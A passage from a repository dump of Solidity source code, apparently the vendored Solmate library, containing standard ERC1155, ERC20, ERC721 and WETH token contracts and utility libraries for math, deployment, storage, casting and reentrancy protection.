(success, returnData) = target.call(data);
if (!success) {
if (returnData.length > 0) {
assembly {
let returnDataSize := mload(returnData)
revert(add(32, returnData), returnDataSize)
}
} else {
revert("REVERTED_WITHOUT_A_MESSAGE");
}
}
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/tokens/ERC1155.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Minimalist and gas efficient standard ERC1155 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC1155.sol)
abstract contract ERC1155 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event TransferSingle(
address indexed operator,
address indexed from,
address indexed to,
uint256 id,
uint256 amount
);
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] amounts
);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
event URI(string value, uint256 indexed id);
/*///////////////////////////////////////////////////////////////
ERC1155 STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => mapping(uint256 => uint256)) public balanceOf;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*///////////////////////////////////////////////////////////////
METADATA LOGIC
//////////////////////////////////////////////////////////////*/
function uri(uint256 id) public view virtual returns (string memory);
/*///////////////////////////////////////////////////////////////
ERC1155 LOGIC
//////////////////////////////////////////////////////////////*/
function setApprovalForAll(address operator, bool approved) public virtual {
isApprovedForAll[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual {
require(msg.sender == from || isApprovedForAll[from][msg.sender], "NOT_AUTHORIZED");
balanceOf[from][id] -= amount;
balanceOf[to][id] += amount;
emit TransferSingle(msg.sender, from, to, id, amount);
require(
to.code.length == 0
? to != address(0)
: ERC1155TokenReceiver(to).onERC1155Received(msg.sender, from, id, amount, data) ==
ERC1155TokenReceiver.onERC1155Received.selector,
"UNSAFE_RECIPIENT"
);
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual {
uint256 idsLength = ids.length; // Saves MLOADs.
require(idsLength == amounts.length, "LENGTH_MISMATCH");
require(msg.sender == from || isApprovedForAll[from][msg.sender], "NOT_AUTHORIZED");
for (uint256 i = 0; i < idsLength; ) {
uint256 id = ids[i];
uint256 amount = amounts[i];
balanceOf[from][id] -= amount;
balanceOf[to][id] += amount;
// An array can't have a total length
// larger than the max uint256 value.
unchecked {
i++;
}
}
emit TransferBatch(msg.sender, from, to, ids, amounts);
require(
to.code.length == 0
? to != address(0)
: ERC1155TokenReceiver(to).onERC1155BatchReceived(msg.sender, from, ids, amounts, data) ==
ERC1155TokenReceiver.onERC1155BatchReceived.selector,
"UNSAFE_RECIPIENT"
);
}
function balanceOfBatch(address[] memory owners, uint256[] memory ids)
public
view
virtual
returns (uint256[] memory balances)
{
uint256 ownersLength = owners.length; // Saves MLOADs.
require(ownersLength == ids.length, "LENGTH_MISMATCH");
balances = new uint256[](owners.length);
// Unchecked because the only math done is incrementing
// the array index counter which cannot possibly overflow.
unchecked {
for (uint256 i = 0; i < ownersLength; i++) {
balances[i] = balanceOf[owners[i]][ids[i]];
}
}
}
/*///////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {
return
interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165
interfaceId == 0xd9b67a26 || // ERC165 Interface ID for ERC1155
interfaceId == 0x0e89341c; // ERC165 Interface ID for ERC1155MetadataURI
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal {
balanceOf[to][id] += amount;
emit TransferSingle(msg.sender, address(0), to, id, amount);
require(
to.code.length == 0
? to != address(0)
: ERC1155TokenReceiver(to).onERC1155Received(msg.sender, address(0), id, amount, data) ==
ERC1155TokenReceiver.onERC1155Received.selector,
"UNSAFE_RECIPIENT"
);
}
function _batchMint(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal {
uint256 idsLength = ids.length; // Saves MLOADs.
require(idsLength == amounts.length, "LENGTH_MISMATCH");
for (uint256 i = 0; i < idsLength; ) {
balanceOf[to][ids[i]] += amounts[i];
// An array can't have a total length
// larger than the max uint256 value.
unchecked {
i++;
}
}
emit TransferBatch(msg.sender, address(0), to, ids, amounts);
require(
to.code.length == 0
? to != address(0)
: ERC1155TokenReceiver(to).onERC1155BatchReceived(msg.sender, address(0), ids, amounts, data) ==
ERC1155TokenReceiver.onERC1155BatchReceived.selector,
"UNSAFE_RECIPIENT"
);
}
function _batchBurn(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal {
uint256 idsLength = ids.length; // Saves MLOADs.
require(idsLength == amounts.length, "LENGTH_MISMATCH");
for (uint256 i = 0; i < idsLength; ) {
balanceOf[from][ids[i]] -= amounts[i];
// An array can't have a total length
// larger than the max uint256 value.
unchecked {
i++;
}
}
emit TransferBatch(msg.sender, from, address(0), ids, amounts);
}
function _burn(
address from,
uint256 id,
uint256 amount
) internal {
balanceOf[from][id] -= amount;
emit TransferSingle(msg.sender, from, address(0), id, amount);
}
}
/// @notice A generic interface for a contract which properly accepts ERC1155 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC1155.sol)
interface ERC1155TokenReceiver {
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 amount,
bytes calldata data
) external returns (bytes4);
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external returns (bytes4);
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/tokens/ERC20.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public immutable decimals;
/*///////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
/*///////////////////////////////////////////////////////////////
EIP-2612 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
}
/*///////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
/*///////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
// Unchecked because the only math done is incrementing
// the owner's nonce which cannot realistically overflow.
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
),
owner,
spender,
value,
nonces[owner]++,
deadline
)
)
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256("1"),
block.chainid,
address(this)
)
);
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
// Cannot underflow because a user's balance
// will never be larger than the total supply.
unchecked {
totalSupply -= amount;
}
emit Transfer(from, address(0), amount);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/tokens/ERC721.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Modern, minimalist, and gas efficient ERC-721 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
/// @dev Note that balanceOf does not revert if passed the zero address, in defiance of the ERC.
abstract contract ERC721 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed id);
event Approval(address indexed owner, address indexed spender, uint256 indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE/LOGIC
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
function tokenURI(uint256 id) public view virtual returns (string memory);
/*///////////////////////////////////////////////////////////////
ERC721 STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => uint256) public balanceOf;
mapping(uint256 => address) public ownerOf;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(string memory _name, string memory _symbol) {
name = _name;
symbol = _symbol;
}
/*///////////////////////////////////////////////////////////////
ERC721 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 id) public virtual {
address owner = ownerOf[id];
require(msg.sender == owner || isApprovedForAll[owner][msg.sender], "NOT_AUTHORIZED");
getApproved[id] = spender;
emit Approval(owner, spender, id);
}
function setApprovalForAll(address operator, bool approved) public virtual {
isApprovedForAll[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function transferFrom(
address from,
address to,
uint256 id
) public virtual {
require(from == ownerOf[id], "WRONG_FROM");
require(to != address(0), "INVALID_RECIPIENT");
require(
msg.sender == from || msg.sender == getApproved[id] || isApprovedForAll[from][msg.sender],
"NOT_AUTHORIZED"
);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
balanceOf[from]--;
balanceOf[to]++;
}
ownerOf[id] = to;
delete getApproved[id];
emit Transfer(from, to, id);
}
function safeTransferFrom(
address from,
address to,
uint256 id
) public virtual {
transferFrom(from, to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, "") ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes memory data
) public virtual {
transferFrom(from, to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, data) ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
/*///////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {
return
interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165
interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721
interfaceId == 0x5b5e139f; // ERC165 Interface ID for ERC721Metadata
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 id) internal virtual {
require(to != address(0), "INVALID_RECIPIENT");
require(ownerOf[id] == address(0), "ALREADY_MINTED");
// Counter overflow is incredibly unrealistic.
unchecked {
balanceOf[to]++;
}
ownerOf[id] = to;
emit Transfer(address(0), to, id);
}
function _burn(uint256 id) internal virtual {
address owner = ownerOf[id];
require(ownerOf[id] != address(0), "NOT_MINTED");
// Ownership check above ensures no underflow.
unchecked {
balanceOf[owner]--;
}
delete ownerOf[id];
delete getApproved[id];
emit Transfer(owner, address(0), id);
}
/*///////////////////////////////////////////////////////////////
INTERNAL SAFE MINT LOGIC
//////////////////////////////////////////////////////////////*/
function _safeMint(address to, uint256 id) internal virtual {
_mint(to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, "") ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
function _safeMint(
address to,
uint256 id,
bytes memory data
) internal virtual {
_mint(to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, data) ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
}
/// @notice A generic interface for a contract which properly accepts ERC721 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
interface ERC721TokenReceiver {
function onERC721Received(
address operator,
address from,
uint256 id,
bytes calldata data
) external returns (bytes4);
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/tokens/WETH.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "./ERC20.sol";
import {SafeTransferLib} from "../utils/SafeTransferLib.sol";
/// @notice Minimalist and modern Wrapped Ether implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/WETH.sol)
/// @author Inspired by WETH9 (https://github.com/dapphub/ds-weth/blob/master/src/weth9.sol)
contract WETH is ERC20("Wrapped Ether", "WETH", 18) {
using SafeTransferLib for address;
event Deposit(address indexed from, uint256 amount);
event Withdrawal(address indexed to, uint256 amount);
function deposit() public payable virtual {
_mint(msg.sender, msg.value);
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint256 amount) public virtual {
_burn(msg.sender, amount);
emit Withdrawal(msg.sender, amount);
msg.sender.safeTransferETH(amount);
}
receive() external payable virtual {
deposit();
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/utils/Bytes32AddressLib.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Library for converting between addresses and bytes32 values.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/Bytes32AddressLib.sol)
library Bytes32AddressLib {
function fromLast20Bytes(bytes32 bytesValue) internal pure returns (address) {
return address(uint160(uint256(bytesValue)));
}
function fillLast12Bytes(address addressValue) internal pure returns (bytes32) {
return bytes32(bytes20(addressValue));
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/utils/CREATE3.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {Bytes32AddressLib} from "./Bytes32AddressLib.sol";
/// @notice Deploy to deterministic addresses without an initcode factor.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/CREATE3.sol)
/// @author Modified from 0xSequence (https://github.com/0xSequence/create3/blob/master/contracts/Create3.sol)
library CREATE3 {
using Bytes32AddressLib for bytes32;
//--------------------------------------------------------------------------------//
// Opcode | Opcode + Arguments | Description | Stack View //
//--------------------------------------------------------------------------------//
// 0x36 | 0x36 | CALLDATASIZE | size //
// 0x3d | 0x3d | RETURNDATASIZE | 0 size //
// 0x3d | 0x3d | RETURNDATASIZE | 0 0 size //
// 0x37 | 0x37 | CALLDATACOPY | //
// 0x36 | 0x36 | CALLDATASIZE | size //
// 0x3d | 0x3d | RETURNDATASIZE | 0 size //
// 0x34 | 0x34 | CALLVALUE | value 0 size //
// 0xf0 | 0xf0 | CREATE | newContract //
//--------------------------------------------------------------------------------//
// Opcode | Opcode + Arguments | Description | Stack View //
//--------------------------------------------------------------------------------//
// 0x67 | 0x67XXXXXXXXXXXXXXXX | PUSH8 bytecode | bytecode //
// 0x3d | 0x3d | RETURNDATASIZE | 0 bytecode //
// 0x52 | 0x52 | MSTORE | //
// 0x60 | 0x6008 | PUSH1 08 | 8 //
// 0x60 | 0x6018 | PUSH1 18 | 24 8 //
// 0xf3 | 0xf3 | RETURN | //
//--------------------------------------------------------------------------------//
bytes internal constant PROXY_BYTECODE = hex"67_36_3d_3d_37_36_3d_34_f0_3d_52_60_08_60_18_f3";
bytes32 internal constant PROXY_BYTECODE_HASH = keccak256(PROXY_BYTECODE);
function deploy(
bytes32 salt,
bytes memory creationCode,
uint256 value
) internal returns (address deployed) {
bytes memory proxyChildBytecode = PROXY_BYTECODE;
address proxy;
assembly {
// Deploy a new contract with our pre-made bytecode via CREATE2.
// We start 32 bytes into the code to avoid copying the byte length.
proxy := create2(0, add(proxyChildBytecode, 32), mload(proxyChildBytecode), salt)
}
require(proxy != address(0), "DEPLOYMENT_FAILED");
deployed = getDeployed(salt);
(bool success, ) = proxy.call{value: value}(creationCode);
require(success && deployed.code.length != 0, "INITIALIZATION_FAILED");
}
function getDeployed(bytes32 salt) internal view returns (address) {
address proxy = keccak256(
abi.encodePacked(
// Prefix:
bytes1(0xFF),
// Creator:
address(this),
// Salt:
salt,
// Bytecode hash:
PROXY_BYTECODE_HASH
)
).fromLast20Bytes();
return
keccak256(
abi.encodePacked(
// 0xd6 = 0xc0 (short RLP prefix) + 0x16 (length of: 0x94 ++ proxy ++ 0x01)
// 0x94 = 0x80 + 0x14 (0x14 = the length of an address, 20 bytes, in hex)
hex"d6_94",
proxy,
hex"01" // Nonce of the proxy contract (1)
)
).fromLast20Bytes();
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/utils/FixedPointMathLib.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Arithmetic library with operations for fixed-point numbers.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/FixedPointMathLib.sol)
/// @author Inspired by USM (https://github.com/usmfum/USM/blob/master/contracts/WadMath.sol)
library FixedPointMathLib {
/*///////////////////////////////////////////////////////////////
SIMPLIFIED FIXED POINT OPERATIONS
//////////////////////////////////////////////////////////////*/
uint256 internal constant WAD = 1e18; // The scalar of ETH and most ERC20s.
function mulWadDown(uint256 x, uint256 y) internal pure returns (uint256) {
return mulDivDown(x, y, WAD); // Equivalent to (x * y) / WAD rounded down.
}
function mulWadUp(uint256 x, uint256 y) internal pure returns (uint256) {
return mulDivUp(x, y, WAD); // Equivalent to (x * y) / WAD rounded up.
}
function divWadDown(uint256 x, uint256 y) internal pure returns (uint256) {
return mulDivDown(x, WAD, y); // Equivalent to (x * WAD) / y rounded down.
}
function divWadUp(uint256 x, uint256 y) internal pure returns (uint256) {
return mulDivUp(x, WAD, y); // Equivalent to (x * WAD) / y rounded up.
}
/*///////////////////////////////////////////////////////////////
LOW LEVEL FIXED POINT OPERATIONS
//////////////////////////////////////////////////////////////*/
function mulDivDown(
uint256 x,
uint256 y,
uint256 denominator
) internal pure returns (uint256 z) {
assembly {
// Store x * y in z for now.
z := mul(x, y)
// Equivalent to require(denominator != 0 && (x == 0 || (x * y) / x == y))
if iszero(and(iszero(iszero(denominator)), or(iszero(x), eq(div(z, x), y)))) {
revert(0, 0)
}
// Divide z by the denominator.
z := div(z, denominator)
}
}
function mulDivUp(
uint256 x,
uint256 y,
uint256 denominator
) internal pure returns (uint256 z) {
assembly {
// Store x * y in z for now.
z := mul(x, y)
// Equivalent to require(denominator != 0 && (x == 0 || (x * y) / x == y))
if iszero(and(iszero(iszero(denominator)), or(iszero(x), eq(div(z, x), y)))) {
revert(0, 0)
}
// First, divide z - 1 by the denominator and add 1.
// We allow z - 1 to underflow if z is 0, because we multiply the
// end result by 0 if z is zero, ensuring we return 0 if z is zero.
z := mul(iszero(iszero(z)), add(div(sub(z, 1), denominator), 1))
}
}
function rpow(
uint256 x,
uint256 n,
uint256 scalar
) internal pure returns (uint256 z) {
assembly {
switch x
case 0 {
switch n
case 0 {
// 0 ** 0 = 1
z := scalar
}
default {
// 0 ** n = 0
z := 0
}
}
default {
switch mod(n, 2)
case 0 {
// If n is even, store scalar in z for now.
z := scalar
}
default {
// If n is odd, store x in z for now.
z := x
}
// Shifting right by 1 is like dividing by 2.
let half := shr(1, scalar)
for {
// Shift n right by 1 before looping to halve it.
n := shr(1, n)
} n {
// Shift n right by 1 each iteration to halve it.
n := shr(1, n)
} {
// Revert immediately if x ** 2 would overflow.
// Equivalent to iszero(eq(div(xx, x), x)) here.
if shr(128, x) {
revert(0, 0)
}
// Store x squared.
let xx := mul(x, x)
// Round to the nearest number.
let xxRound := add(xx, half)
// Revert if xx + half overflowed.
if lt(xxRound, xx) {
revert(0, 0)
}
// Set x to scaled xxRound.
x := div(xxRound, scalar)
// If n is even:
if mod(n, 2) {
// Compute z * x.
let zx := mul(z, x)
// If z * x overflowed:
if iszero(eq(div(zx, x), z)) {
// Revert if x is non-zero.
if iszero(iszero(x)) {
revert(0, 0)
}
}
// Round to the nearest number.
let zxRound := add(zx, half)
// Revert if zx + half overflowed.
if lt(zxRound, zx) {
revert(0, 0)
}
// Return properly scaled zxRound.
z := div(zxRound, scalar)
}
}
}
}
}
/*///////////////////////////////////////////////////////////////
GENERAL NUMBER UTILITIES
//////////////////////////////////////////////////////////////*/
function sqrt(uint256 x) internal pure returns (uint256 z) {
assembly {
// Start off with z at 1.
z := 1
// Used below to help find a nearby power of 2.
let y := x
// Find the lowest power of 2 that is at least sqrt(x).
if iszero(lt(y, 0x100000000000000000000000000000000)) {
y := shr(128, y) // Like dividing by 2 ** 128.
z := shl(64, z)
}
if iszero(lt(y, 0x10000000000000000)) {
y := shr(64, y) // Like dividing by 2 ** 64.
z := shl(32, z)
}
if iszero(lt(y, 0x100000000)) {
y := shr(32, y) // Like dividing by 2 ** 32.
z := shl(16, z)
}
if iszero(lt(y, 0x10000)) {
y := shr(16, y) // Like dividing by 2 ** 16.
z := shl(8, z)
}
if iszero(lt(y, 0x100)) {
y := shr(8, y) // Like dividing by 2 ** 8.
z := shl(4, z)
}
if iszero(lt(y, 0x10)) {
y := shr(4, y) // Like dividing by 2 ** 4.
z := shl(2, z)
}
if iszero(lt(y, 0x8)) {
// Equivalent to 2 ** z.
z := shl(1, z)
}
// Shifting right by 1 is like dividing by 2.
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
// Compute a rounded down version of z.
let zRoundDown := div(x, z)
// If zRoundDown is smaller, use it.
if lt(zRoundDown, z) {
z := zRoundDown
}
}
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/utils/ReentrancyGuard.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Gas optimized reentrancy protection for smart contracts.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/ReentrancyGuard.sol)
/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol)
abstract contract ReentrancyGuard {
uint256 private locked = 1;
modifier nonReentrant() {
require(locked == 1, "REENTRANCY");
locked = 2;
_;
locked = 1;
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/utils/SSTORE2.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Read and write to persistent storage at a fraction of the cost.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SSTORE2.sol)
/// @author Modified from 0xSequence (https://github.com/0xSequence/sstore2/blob/master/contracts/SSTORE2.sol)
library SSTORE2 {
uint256 internal constant DATA_OFFSET = 1; // We skip the first byte as it's a STOP opcode to ensure the contract can't be called.
/*///////////////////////////////////////////////////////////////
WRITE LOGIC
//////////////////////////////////////////////////////////////*/
function write(bytes memory data) internal returns (address pointer) {
// Prefix the bytecode with a STOP opcode to ensure it cannot be called.
bytes memory runtimeCode = abi.encodePacked(hex"00", data);
bytes memory creationCode = abi.encodePacked(
//---------------------------------------------------------------------------------------------------------------//
// Opcode | Opcode + Arguments | Description | Stack View //
//---------------------------------------------------------------------------------------------------------------//
// 0x60 | 0x600B | PUSH1 11 | codeOffset //
// 0x59 | 0x59 | MSIZE | 0 codeOffset //
// 0x81 | 0x81 | DUP2 | codeOffset 0 codeOffset //
// 0x38 | 0x38 | CODESIZE | codeSize codeOffset 0 codeOffset //
// 0x03 | 0x03 | SUB | (codeSize - codeOffset) 0 codeOffset //
// 0x80 | 0x80 | DUP | (codeSize - codeOffset) (codeSize - codeOffset) 0 codeOffset //
// 0x92 | 0x92 | SWAP3 | codeOffset (codeSize - codeOffset) 0 (codeSize - codeOffset) //
// 0x59 | 0x59 | MSIZE | 0 codeOffset (codeSize - codeOffset) 0 (codeSize - codeOffset) //
// 0x39 | 0x39 | CODECOPY | 0 (codeSize - codeOffset) //
// 0xf3 | 0xf3 | RETURN | //
//---------------------------------------------------------------------------------------------------------------//
hex"60_0B_59_81_38_03_80_92_59_39_F3", // Returns all code in the contract except for the first 11 (0B in hex) bytes.
runtimeCode // The bytecode we want the contract to have after deployment. Capped at 1 byte less than the code size limit.
);
assembly {
// Deploy a new contract with the generated creation code.
// We start 32 bytes into the code to avoid copying the byte length.
pointer := create(0, add(creationCode, 32), mload(creationCode))
}
require(pointer != address(0), "DEPLOYMENT_FAILED");
}
/*///////////////////////////////////////////////////////////////
READ LOGIC
//////////////////////////////////////////////////////////////*/
function read(address pointer) internal view returns (bytes memory) {
return readBytecode(pointer, DATA_OFFSET, pointer.code.length - DATA_OFFSET);
}
function read(address pointer, uint256 start) internal view returns (bytes memory) {
start += DATA_OFFSET;
return readBytecode(pointer, start, pointer.code.length - start);
}
function read(
address pointer,
uint256 start,
uint256 end
) internal view returns (bytes memory) {
start += DATA_OFFSET;
end += DATA_OFFSET;
require(pointer.code.length >= end, "OUT_OF_BOUNDS");
return readBytecode(pointer, start, end - start);
}
/*///////////////////////////////////////////////////////////////
INTERNAL HELPER LOGIC
//////////////////////////////////////////////////////////////*/
function readBytecode(
address pointer,
uint256 start,
uint256 size
) private view returns (bytes memory data) {
assembly {
// Get a pointer to some free memory.
data := mload(0x40)
// Update the free memory pointer to prevent overriding our data.
// We use and(x, not(31)) as a cheaper equivalent to sub(x, mod(x, 32)).
// Adding 31 to size and running the result through the logic above ensures
// the memory pointer remains word-aligned, following the Solidity convention.
mstore(0x40, add(data, and(add(add(size, 32), 31), not(31))))
// Store the size of the data in the first 32 byte chunk of free memory.
mstore(data, size)
// Copy the code into memory right after the 32 bytes we used to store the size.
extcodecopy(pointer, add(data, 32), start, size)
}
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/utils/SafeCastLib.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Safe unsigned integer casting library that reverts on overflow.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeCastLib.sol)
/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeCast.sol)
library SafeCastLib {
function safeCastTo248(uint256 x) internal pure returns (uint248 y) {
require(x <= type(uint248).max);
y = uint248(x);
}
function safeCastTo224(uint256 x) internal pure returns (uint224 y) {
require(x <= type(uint224).max);
y = uint224(x);
}
function safeCastTo128(uint256 x) internal pure returns (uint128 y) {
require(x <= type(uint128).max);
y = uint128(x);
}
function safeCastTo96(uint256 x) internal pure returns (uint96 y) {
require(x <= type(uint96).max);
y = uint96(x);
}
function safeCastTo64(uint256 x) internal pure returns (uint64 y) {
